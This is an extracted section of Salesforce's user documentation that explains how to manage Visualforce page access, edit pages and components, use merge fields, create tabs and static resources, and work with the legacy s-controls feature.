Click Your Name > Setup > Manage Users > Profiles. Click the name of the profile you want to modify. Go to the Visualforce Page Access page or related list and click Edit. Select the Visualforce pages that you want to enable from the Available Visualforce Pages list and click Add, or select the Visualforce pages that you want to disable from the Enabled Visualforce Pages list and click Remove. 5. Click Save.

See Also:
Visualforce Page Security Overview User Profiles Overview

Setting Visualforce Page Security from Permission Sets


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit Visualforce page access settings: Manage Users

1. 2. 3. 4.

Click Your Name > Setup > Manage Users > Permission Sets. Select a permission set. Click Visualforce Page Access. Click Edit.

2215

Develop

Viewing and Editing Visualforce Pages

5. Select the Visualforce pages that you want to enable from the Available Visualforce Pages list and click Add, or select the Visualforce pages that you want to disable from the Enabled Visualforce Pages list and click Remove. 6. Click Save.

See Also:
Visualforce Page Security Overview Permission Sets Overview

Viewing and Editing Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To clone, edit, or delete Visualforce markup: To edit custom Visualforce controllers Customize Application Author Apex

Click Your Name > Setup > Develop > Pages and click the name of a Visualforce page to view its details, including when it was created, when it was last modified, and the Visualforce markup associated with the page. From the detail page, you can do any of the following: Click New to create a new page Click Edit to edit existing page markup. Click Delete to delete the page. Click Clone to create a copy of the page. You must specify a new name for the new page. Click Where is this used? to view a list of all references to the page in your organization. Click Show Dependencies to display the items, such as fields, objects, or other classes, that must exist for this class to be valid. For more information, see Understanding Dependencies on page 2063. Note: If the Visualforce page is contained in an installed managed package, you can only view the page. You cannot edit, delete or clone it. To aid backwards-compatibility, pages are stored with the version settings for a specified version of Visualforce and the API. If the page references components, such as a custom object, in an installed managed package, the version settings for each managed package referenced by the page are saved too. If the Visualforce page is contained in an installed managed package, the Installed Package indicates the package name. The Available in Package Versions field gives the range of package versions in which the Visualforce page is available. The first version number in the range is the first installed package version that contains the Visualforce page.

2216

Develop

Uncaught Exceptions in Visualforce

Viewing and Editing Visualforce Pages with Development Mode Enabled


With development mode enabled, you can view and edit the content of a page by navigating to the URL of the page. For example, if a page is named HelloWorld, and your salesforce.com instance is na3.salesforce.com, enter https://na3.salesforce.com/apex/HelloWorld in your browser's address bar. After enabling development mode, all Visualforce pages display with the development mode footer at the bottom of the browser: Click the tab with the name of the page to open the page editor to view and edit the associated Visualforce markup without having to return to the Setup area. Changes display immediately after you save the page. If the page uses a custom controller, the name of the controller class is available as a tab. Click the tab to edit the associated Apex class. If the page uses any controller extensions, the names of each extension are available as tabs. Clicking on the tab lets you edit the associated Apex class. If enabled in Setup, the View State tab displays information about the items contributing to the view state of the Visualforce page. Click Save (just above the edit pane) to save your changes and refresh the content of the page. Click Component Reference to view the documentation for all supported Visualforce components. Click Where is this used? to view a list of all items in Salesforce that reference the page, such as custom tabs, controllers, or other pages. Click the Collapse button ( ) to collapse the development mode footer panel. Click the Expand button ( ) to toggle it back open. Click the Disable Development Mode button ( ) to turn off development mode entirely. Development mode remains off until you enable it again in Your Name > Setup > My Personal Information > Personal Information.

See Also:
Visualforce Overview Enabling Development Mode Defining Visualforce Pages Managing Visualforce Pages Creating Visualforce Tabs Managing Version Settings for Visualforce Pages Managing Packages About Package Versions Developer's Guide: Visualforce Developer's Guide

Uncaught Exceptions in Visualforce


If a Visualforce page that you did not develop has a error or uncaught exception You see a simple explanation of the problem in Salesforce. The developer who wrote the page receives the error via email with your organization and user id. No other user data is included in the report.

If you are in development mode and not in the same namespace as the page, you will see the exception message, the exception type, and a notification that the developer has been notified by email.

2217

Develop

Using the Editor for Visualforce or Apex

If you are the developer and in the same namespace as the page, and you are not in development mode, you will see an exception message. You may also see a message indicating that the developer has been notified. If you are in development mode, you will see the exception message, the exception type, and the Apex stack trace.

Using the Editor for Visualforce or Apex


Apex is available in: Unlimited, Developer, and Enterprise Editions

Visualforce is available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit Visualforce markup: To edit custom Visualforce controllers or Apex Customize Application Author Apex

When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available with the following functionality: Syntax highlighting The editor automatically applies syntax highlighting for keywords and all functions and operators. Search ( )

Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox and click Find Next. To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class, or trigger. To make the search operation case sensitive, select the Match Case option. To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line. If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.

Go to line (

This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.

2218

Develop

Using the Editor for Visualforce or Apex

Undo (

) and Redo (

Use undo to reverse an editing action and redo to recreate an editing action that was undone. Font size Select a font size from the drop-down list to control the size of the characters displayed in the editor. Line and column position The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line ( ) to quickly navigate through the editor.

Line and character count The total number of lines and characters is displayed in the status bar at the bottom of the editor. The editor supports the following keyboard shortcuts:
Tab

Adds a tab at the cursor


SHIFT+Tab

Removes a tab
CTRL+f

Opens the search dialog or searches for the next occurrence of the current search
CTRL+r

Opens the search dialog or replaces the next occurrence of the current search with the specified replacement string
CTRL+g

Opens the go to line dialog


CTRL+s

Performs a quick save.


CTRL+z

Reverses the last editing action


CTRL+y

Recreates the last editing action that was undone

See Also:
Core JavaScript 1.5 Guide:Regular Expressions Viewing and Editing Visualforce Pages

2219

Develop

Merge Fields for Visualforce Pages

Merge Fields for Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Mass email not available in: Personal, Contact Manager, and Group Editions

Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information. Visualforce pages use the same expression language as formulasthat is, anything inside {! } is evaluated as an expression that can access values from records that are currently in context. For example, you can display the current user's first name by adding the {!$User.FirstName} merge field to a page.
<apex:page> Hello {!$User.FirstName}! s</apex:page>

If your users name is John, the page will display Hello John! You also can use merge fields or other functions to personalize your object-level help content.

See Also:
Merge Fields Overview Merge Fields for Visualforce Email Templates Visualforce Overview Developer's Guide: Visualforce Developer's Guide

Creating Visualforce Tabs


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create Visualforce Tabs: Customize Application

You can build Visualforce tabs so that users can access Visualforce pages from within Salesforce. To create a Visualforce tab: 1. Click Your Name > Setup > Create > Tabs. 2. Click New in the Visualforce Tabs related list. 3. Select the Visualforce page to display in the custom tab. If you have not already created the Visualforce page, click Create a new page now and follow the instructions in Defining Visualforce Pages on page 2210. 4. Specify the label that displays on the tab. 5. Click the Tab Style lookup icon to display the Tab Style Selector.

2220

Develop

Creating Visualforce Tabs

If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter this list. 6. Click a tab style to select the color scheme and icon for the custom tab. Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your organization has access to the Documents tab. To create your own tab style: a. Click the Color lookup icon to display the color selection dialog and click a color to select it. b. Click Insert an Image, select the document folder, and select the image you want to use. Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes your search term. Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available checkbox selected in the document property settings. For more information, see uploading images and document property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor block icon ( ).

c. Select a file and click OK. The New Custom Tab wizard reappears. 7. Optionally, select the Mobile Ready checkbox to indicate that the Visualforce page displays and functions properly in a mobile web browser. Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs on page 1004. Review the considerations for building Visualforce pages that are compatible with mobile browsers before mobilizing a Visualforce tab. Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization. 8. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For information about creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page 1283. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the Visualforce tab. 9. Enter a description of the tab, if desired, and click Next. 10. Choose the user profiles for which the new custom tab will be available: Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down list. Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab Hidden from the drop-down list for each profile.

11. Specify the custom apps that should include the new tab. See What is an App? on page 1805 for information on custom apps. 12. Check Append tab to users' existing personal customizations to add the new tab to your users customized display settings if they have customized their personal display.

2221

Develop

What is a Static Resource?

13. Click Save.

See Also:
Visualforce Overview Defining Visualforce Pages Developer's Guide: Visualforce Developer's Guide

What is a Static Resource?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Static resources allow you to upload content that you can reference in a Visualforce page, including archives (such as .zip and .jar files), images, stylesheets, JavaScript, and other files. Using a static resource is preferable to uploading a file to the Documents tab because: You can package a collection of related files into a directory hierarchy and upload that hierarchy as a .zip or .jar archive. You can reference a static resource in page markup by name using the $Resource global variable instead of hard-coding document IDs: To reference a stand-alone file, use $Resource.<resource_name> as a merge field, where <resource_name> is the name you specified when you uploaded the resource. For example:
<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>

or
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>

To reference a file in an archive, use the URLFOR function. Specify the static resource name that you provided when you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second. For example:
<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width="50" height="50"/>

or
<apex:includeScript value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>

You can use relative paths in files in static resource archives to refer to other content within the archive. For example, in your CSS file, namedstyles.css, you have the following style:
table { background-image: img/testimage.gif }

2222

Develop

Defining Static Resources

When you use that CSS in a Visualforce page, you need to make sure the CSS file can find the image. To do that, create an archive (such as a zip file) that includes styles.css and img/testimage.gif. Make sure that the path structure is preserved in the archive. Then upload the archive file as a static resource named style_resources. Then, in your page, add the following component:
<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>

Since the static resource contains both the stylesheet and the image, the relative path in the stylesheet resolves and the image is displayed. A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total. Static resources apply to your organization's quota of data storage.

See Also:
Defining Static Resources Managing Static Resources Viewing and Editing Static Resources Visualforce Overview Developer's Guide: Visualforce Developer's Guide

Defining Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create static resources: Customize Application

To create a static resource: 1. Click Your Name > Setup > Develop > Static Resources. 2. Click New Static Resource. 3. In the Name text box, enter the text that should be used to identify the resource in Visualforce markup. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Note: If you reference a static resource in Visualforce markup and then change the name of the resource, the Visualforce markup is updated to reflect that change. 4. In the Description text area, specify an optional description of the resource. 5. Next to the File text box, click Browse to navigate to a local copy of the resource that you want to upload. A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total. 6. Set the Cache Control:

2223

Develop

Managing Static Resources

Private specifies that the static resource data cached on the Salesforce server shouldn't be shared with other users. The static resource is only stored in cache for the current user's session.

Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches.
Public specifies that the static resource data cached on the Salesforce server be shared with other users in your organization for faster load times.

The W3C specifications on Header Field Definitions has more technical information about cache-control. Note: This feature only works for Sitesenabled organizations that use the static resource.

7. Click Save. Warning: If you are using WinZip be sure to install the most recent version. Older versions of WinZip may cause a loss of data.

See Also:
What is a Static Resource? Managing Static Resources Viewing and Editing Static Resources Visualforce Overview Developer's Guide: Visualforce Developer's Guide

Managing Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit static resources: Customize Application

After creating static resources, you can customize, edit, and delete them. Click Your Name > Setup > Develop > Static Resources to display the Static Resources list page, which shows the list of resources defined for your organization. From this page you can: Click New Static Resource to define a new static resource. Click a resource name to display detailed information about the page, including its MIME type and size. Click Edit next to a resource to modify the resource's name or to upload a new version of the resource. Click Del to remove a resource.

2224

Develop

Viewing and Editing Static Resources

Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed package. However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace Prefix on page 2036.

See Also:
What is a Static Resource? Defining Static Resources Viewing and Editing Static Resources Visualforce Overview Developer's Guide: Visualforce Developer's Guide

Viewing and Editing Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To clone, edit, or delete static resources: Customize Application

Click Your Name > Setup > Develop > Static Resources and click the name of a resource to view its details, including its MIME type, the size of the resource in bytes, when it was created, and when it was last modified. From the detail page, you can do any of the following: Click Edit to edit the resource. Click Delete to delete the resource. Click Clone to create a copy of the resource. You must specify a new name for the new resource. Click Where is this used? to view a list of all references to the static resource in your organization.

See Also:
What is a Static Resource? Defining Static Resources Managing Static Resources Visualforce Overview Developer's Guide: Visualforce Developer's Guide

2225

Develop

What is a Custom Component?

What is a Custom Component?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Salesforce provides a library of standard, pre-built components, such as <apex:relatedList> and <apex:dataTable>, that can be used to develop Visualforce pages. In addition, you can build your own custom components to augment this library. A custom component encapsulates a common design pattern that can be reused in one or more Visualforce pages. It consists of: A set of Visualforce markup demarcated by the <apex:component> tag An optional component controller written in Apex that allows the component to perform additional logic, such as sorting items in a list, or calculating values

For example, suppose you want to create a photo album using Visualforce pages. Each photo in the album has its own border color, and a text caption that displays beneath it. Rather than repeating the Visualforce markup required for displaying every photo in the album, you can define a custom component named singlePhoto that has attributes for image, border color, and caption, and then uses those attributes to display the image on the page. Once defined, every Visualforce page in your organization can leverage the singlePhoto custom component in the same way as a page can leverage standard components such as <apex:dataTable> or <apex:relatedList>. Unlike page templates, which also enable developers to reuse markup, custom components provide more power and flexibility because: Custom components allow developers to define attributes that can be passed in to each component. The value of an attribute can then change the way the markup is displayed on the final page, and the controller-based logic that executes for that instance of the component. This behavior differs from that of templates, which do not have a way of passing information from the page that uses a template to the template's definition itself. Custom component descriptions are displayed in the application's component reference dialog alongside standard component descriptions. Template descriptions, on the other hand, can only be referenced through the Setup area of Salesforce because they are defined as pages.

See Also:
Defining Custom Components Managing Custom Components Viewing and Editing Custom Components Developer's Guide: Visualforce Developer's Guide Developer's Guide: Force.com Apex Code Developer's Guide

2226

Develop

Defining Custom Components

Defining Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create custom components: Customize Application

To create a custom component: 1. 2. 3. 4. In Salesforce click Your Name > Setup > Develop > Components. Click New. In the Label text box, enter the text that should be used to identify the custom component in Setup tools. In the Name text box, enter the text that should identify this custom component in Visualforce markup. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. In the Description text box, enter a text description of the custom component. This description appears in the component reference with other standard component descriptions as soon as you click Save. In the Body text box, enter Visualforce markup for the custom component definition. A single component can hold up to 1 MB of text, or approximately 1,000,000 characters. Click Version Settings to specify the version of Visualforce and the API used with this component. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use. Generally, you should use the default values for all versions. This associates the component with the most recent version of Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you want to access package components or functionality that differs from the most recent package version. Click Save to save your changes and view the custom component's detail screen, or click Quick Save to save your changes and continue editing your component. Your Visualforce markup must be valid before you can save your component. Note: You can also create a custom component in Visualforce development mode by adding a reference to a custom component that does not yet exist to Visualforce page markup. After saving the markup, a quick fix link appears that allows you to create a new component definition (including any specified attributes) based on the name that you provided for the component. For example, if you have not yet defined a custom component named myNewComponent and insert <c:myNewComponent myNewAttribute="foo"/> into existing page markup, after clicking Save a quick fix allows you to define a new custom component named myNewComponent with the following default definition:
<apex:component> <apex:attribute name="myattribute" type="String" description="TODO: Describe me"/> <!-- Begin Default Content REMOVE THIS --> <h1>Congratulations</h1> This is your new Component: mynewcomponent <!-- End Default Content REMOVE THIS --> </apex:component>

5. 6. 7.

8.

2227

Develop

Defining Custom Components

You can modify this definition in the Setup area by clicking Your Name > Setup > Develop > Components and then clicking Edit next to the myNewComponent custom component.

See Also:
What is a Custom Component? Managing Custom Components Viewing and Editing Custom Components Managing Version Settings for Custom Components Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To clone, edit, delete, or set versions for custom components: Customize Application

To aid backwards-compatibility, each Visualforce component is saved with version settings for the specified version of the API as well as the specific version of Visualforce. If the Visualforce component references installed managed packages, the version settings for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce, the API, and the components in managed packages evolve in subsequent versions, a component is still bound to versions with specific, known behavior. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. Note: Package components and custom component are distinct concepts. A package is comprised of many components, such as custom objects, Apex classes and triggers, and custom components. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. To set the Salesforce API and Visualforce version for a custom component: 1. Edit a custom component and click Version Settings. Note: You can only access the version settings for a custom component if you edit a custom component by clicking Your Name > Setup > Develop > Components. You cannot access them if you edit a custom component using Developer Mode. 2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the custom component. 3. Click Save.

2228

Develop

Managing Custom Components

To configure the package version settings for a custom component: 1. Edit a custom component and click Version Settings. 2. Select a Version for each managed package referenced by the custom component. This version of the managed package will continue to be used by the custom component if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the page or component. 3. Click Save. Note the following when working with package version settings: If you save a custom component that references a managed package without specifying a version of the managed package, the custom component is associated with the latest installed version of the managed package by default. You cannot Remove a custom component's version setting for a managed package if the package is referenced by the custom component. Use Show Dependencies to find where the managed package is referenced.

See Also:
What is a Custom Component? Managing Custom Components Viewing and Editing Custom Components Managing Packages About Package Versions Developer's Guide: Visualforce Developer's Guide

Managing Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit custom components: Customize Application

After creating custom components, you can view, edit and delete them. Click Your Name > Setup > Develop > Components to display the Components list page, which shows the list of custom components defined for your organization. From this page you can: Click New to define a new custom component. Click a custom component name to display detailed information about the component. Click Edit to modify a component's name or markup. Note: A icon indicates that a Visualforce custom component is in an installed managed package. You cannot

edit or delete a Visualforce custom component in a managed package. A icon indicates that a Visualforce custom component in a previously released managed package will be deleted on the next package upload. You can choose to undelete the Visualforce custom component through the package detail page.

2229

Develop

Viewing and Editing Custom Components

Click Del to remove a custom component from your organization. Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed package. However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace Prefix on page 2036.

See Also:
What is a Custom Component? Defining Custom Components Viewing and Editing Custom Components Developer's Guide: Visualforce Developer's Guide

Viewing and Editing Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To clone, edit, delete, or set versions for custom components: Customize Application

Click Your Name > Setup > Develop > Components and click the name of a custom component to view its definition. From the detail page, you can do any of the following: Click Edit to edit the custom component. Click Delete to delete the custom component. Click Clone to create a copy of the custom component. You must specify a new name for the new component. Click Where is this used? to view a list of all references to the custom component in your organization. Click Show Dependencies to display the items, such as another competent, permission, or preference, that must exist for this custom component to be valid. For more information, see Understanding Dependencies on page 2063.

To aid backwards-compatibility, custom components are stored with the version settings for a specified version of Visualforce and the API. If the page references package components, such as a custom object, in an installed managed package, the version settings for each managed package referenced by the custom component are saved too. Once your component has been created, you can view it at
http://mySalesforceInstance/apexcomponent/nameOfNewComponent, where the value of mySalesforceInstance is the host name of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewComponent is the value of the Name field on the custom component definition.

2230

Develop

Defining Custom S-Controls

The component is displayed as if it is a Visualforce page. Consequently, if your component relies on attributes or on the content of the component tag's body, this URL may generate results that you do not expect. To more accurately test a custom component, add it to a Visualforce page and then view the page.

See Also:
What is a Custom Component? Defining Custom Components Managing Custom Components Managing Version Settings for Custom Components Developer's Guide: Visualforce Developer's Guide

Defining Custom S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom s-controls: Customize Application

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. The custom s-control library is a place where you can store and upload content for use in many areas within Salesforce such as, custom links, Web tabs, custom buttons, and dashboards. S-controls provide a flexible, open means of extending the Salesforce user interface, including the ability to create and display your own custom data forms. An s-control can contain any type of content that you can display or run in a browser, for example, a Java applet, an ActiveX control, an Excel file, or a custom HTML Web form. 1. Click Your Name > Setup > Develop > S-Controls. 2. To create a new custom s-control, click New Custom S-Control. 3. To change an existing custom s-control, click Edit. 4. Enter s-control attributes. 5. To validate all Salesforce merge fields and functions, click Check Syntax. 6. Click Save when you finish or click Quick Save to save and continue editing. Note: If you have a namespace prefix and your s-control references merge fields without their namespace prefix, Salesforce automatically prepends them with your namespace prefix.

2231

Develop

Defining Custom S-Controls

7. Create a custom button or link to display the custom s-control to your users. Alternatively, create a Web tab using the custom s-control, add the s-control to a page layout, or add the s-control to a dashboard. You can also use an s-control as online help content for a custom object. See Defining Object-Level Help.

See Also:
Useful S-Controls Tips on Building S-Controls Understanding Global Variables Viewing and Editing S-Controls Deleting Custom S-Controls About S-Controls Documentation Resources for Force.com Developers

Custom S-Control Attributes


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Attribute Name
Label S-Control Name

Description The text that displays on page layouts for embedded s-controls. The unique name for the s-control. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Determines how you plan to use the s-control. HTML Select this option if you want to enter the content for your s-control in the Content area. URL Select this option if you want to enter the link or URL of an external website in the Content area. Snippet Snippets are s-controls that are designed to be included in other s-controls. Select this option if you want to enter the content for your s-control snippet in the Content area. For common uses of snippets, see Useful S-Controls.

Type

Description Content

Text that describes the s-control. This only displays to administrators. Enter the content or source for your s-control. You can enter up to 1 million characters. The HTML code defines exactly how your users should view the custom s-control. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.

2232

Develop

Defining Custom S-Controls

Attribute Name

Description To create a basic formula that passes specific Salesforce data, select the Simple Formula tab, choose the field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list. Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the examples in Operators and Functions. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function to view a description and examples of formulas using that function. To reference a file that you uploaded in the Filename field as part of the custom s-control, select Custom S-Control from the Select Field Type drop-down list, and choose Custom S-Control URL to get the merge field for it. For a Java applet, you can also use the {!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive} merge field. To insert activity merge fields, select Event or Task from Select Field Type. Tip: Internet standards require special encoding for URLs.Salesforce automatically encodes the text from any merge field you insert into a link. Encode any additional text in your link manually. For example, to generate the following URL:
http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:


http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce automatically strips double quotes from URLs when the Content Source is URL. If you need to use double quotes, encode them manually. For example, to generate the URL http://www.google.com/search?q="salesforce+foundation", use this content:
http://www.google.com/search?q=%22salesforce+foundation%22.

Filename

Upload a file to display when you add this custom s-control to a custom link. The file can contain a Java applet, Active-X control, or any other type of content. This option applies to HTML s-controls only. This option keeps the s-control in memory, which may improve performance when the page is reloaded because the s-control does not have to be reloaded. This option applies to HTML s-controls only.

Prebuild In Page

2233

Develop

Defining Custom S-Controls

Attribute Name
Encoding

Description The default encoding setting is Unicode (UTF-8). Change it if you are passing information to a URL that requires data in a different format. This option is available when you select URL for the Type.

About S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Use s-controls to add your own functionality to your Salesforce organization. Whether you are integrating a hosted application of your own or are extending your current Salesforce user interface, use s-controls to store your code or refer to code elsewhere. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.

See Also:
Useful S-Controls Defining Custom S-Controls Documentation Resources for Force.com Developers

Considerations for S-Controls in Force.com AppExchange Packages


If you are developing Force.com AppExchange packages with s-controls or are planning to install a AppExchange package with s-controls, you should be aware of the following limitations: For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages with the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API access. For packages you have installed, you can enable access restrictions even if the package contains s-controls. However, access restrictions provide only limited protection for s-controls. Salesforce recommends that you understand the JavaScript in an s-control before relying on access restriction for s-control security. If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package to Unrestricted API access.

2234

Develop

Defining Custom S-Controls

S-Control Terminology
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. The following terminology is used for custom s-controls in Salesforce: Advanced Function A formula function designed for use in custom buttons, links, and s-controls. For example, the INCLUDE advanced function returns the content from an s-control snippet. For more details on advanced functions, see Operators and Functions on page 1230. Global Variable A special merge field that you can use to reference data in your organization. For more information, see Understanding Global Variables on page 2243. S-Control Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form. Snippet A type of s-control that is designed to be included in other s-controls. Similar to a helper method that is used by other methods in a piece of code, a snippet allows you to maintain a single copy of HTML or JavaScript that you can reuse in multiple s-controls. For common uses of snippets, see Useful S-Controls on page 2238.

2235

Develop

Defining Custom S-Controls

Viewing and Editing S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom s-controls: Customize Application

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. To view the details of a custom s-control, click Your Name > Setup > Develop > S-Controls and select the s-control name. For a description of the s-control attributes, see About S-Controls on page 2234. To make changes to an s-control, click Edit. For more information, see Defining Custom S-Controls on page 2231. To remove an s-control, click Del. For more information, see Deleting Custom S-Controls on page 2237. To view a list of other components in Salesforce that reference the s-control, click Where is this used?. For more information, see Viewing References to Salesforce Components on page 1293.

See Also:
Useful S-Controls Tips on Building S-Controls About S-Controls Documentation Resources for Force.com Developers

Merge Fields for S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information. Because s-controls are the source of your object-level help content, you can use merge fields or other functions to personalize the experience. For example, you can design the custom help to address the user directly by adding the users name to the help page when it displays.

2236

Develop

Defining Custom S-Controls

Tips To reference a file that you uploaded in the Filename field as part of a custom s-control, select Custom S-Control from the Select Field Type drop-down list, and choose Custom S-Control URL to get the merge field for it. For a Java applet, you can also use the {!SControl_JavaCodebase} and {!SControl_JavaArchive} merge fields. To insert activity merge fields, select Event or Task from the Select Field Type drop-down list. Salesforce automatically encodes the text from any merge field you insert into a link.

See Also:
Merge Fields Overview About S-Controls Tips on Building S-Controls

Deleting Custom S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom s-controls: Customize Application

